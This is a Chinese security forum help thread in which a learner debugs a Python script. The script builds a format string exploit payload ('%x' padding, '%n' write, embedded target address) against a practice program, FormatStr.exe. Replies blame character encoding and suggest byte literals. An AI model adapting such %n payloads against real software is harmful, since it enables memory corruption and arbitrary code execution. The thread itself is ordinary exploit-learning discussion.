首页
社区
课程
招聘
[求助]为什么我用python执行脚本的时候,这个地址 \x50\xFB\x12,会解析成00003F50,请问怎么解决
发表于: 2016-10-17 19:46 3549

[求助]为什么我用python执行脚本的时候,这个地址 \x50\xFB\x12,会解析成00003F50,请问怎么解决

2016-10-17 19:46
3549
看了《格式化字符串漏洞执行任意代码分析》这篇文章以后,自己也想学习一下,可是用python拼接地址以后,eax的值总是不对,被转义成其他字符了,希望有大家答疑解惑一下

from subprocess import call
a="\xCC\xCC\xCC\xCCAAAABB-"
b="%x"*21
c="%414621x-%414621x-%414621x-%nAB\x50\xFB\x12"
buf=a+b+c
print buf
call(["FormatStr.exe",buf])

这个执行以后
exa显示值为00003F50

如果我改成

from subprocess import call
a="\xCC\xCC\xCC\xCCAAAABB-"
b="%x"*21
c="%414621x-%414621x-%414621x-%nAB\x50\x50\x12"
buf=a+b+c
print buf
call(["FormatStr.exe",buf])

eax就可以显示出来00125050了,难道 \xFB\x12为解析成3F?

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
最新回复 (6)
雪    币: 1746
活跃值: (227)
能力值: ( LV9,RANK:210 )
在线值:
发帖
回帖
粉丝
2
我的返回地址变得跟你差不多,替换其他就正常了,你的问题解决了么
2016-10-18 19:42
0
雪    币: 193
活跃值: (1215)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
没有解决,可能是asicii编码的问题,我也是改了地址才解决的,可能是\xFB\x12这个两个连起来会被解析成一个字符把,3F
2016-10-19 06:07
0
雪    币: 689
活跃值: (422)
能力值: ( LV11,RANK:190 )
在线值:
发帖
回帖
粉丝
4
字符串前边加个b试一下,
举个例子   bytearray=b'\x50\xFB\x12'
2016-10-19 08:34
0
雪    币: 193
活跃值: (1215)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
好的,我试试看,谢谢指点
2016-10-19 10:52
0
雪    币: 193
活跃值: (1215)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
还是不行,那两个地址连起来用就有问题了,不弄了,换其他地址就可以了
2016-10-24 06:17
0
雪    币: 73
活跃值: (121)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
7
应该是操作系统编码的问题,用英文版操作系统试试。
2016-10-24 10:10
0
游客
登录 | 注册 方可回帖
返回
//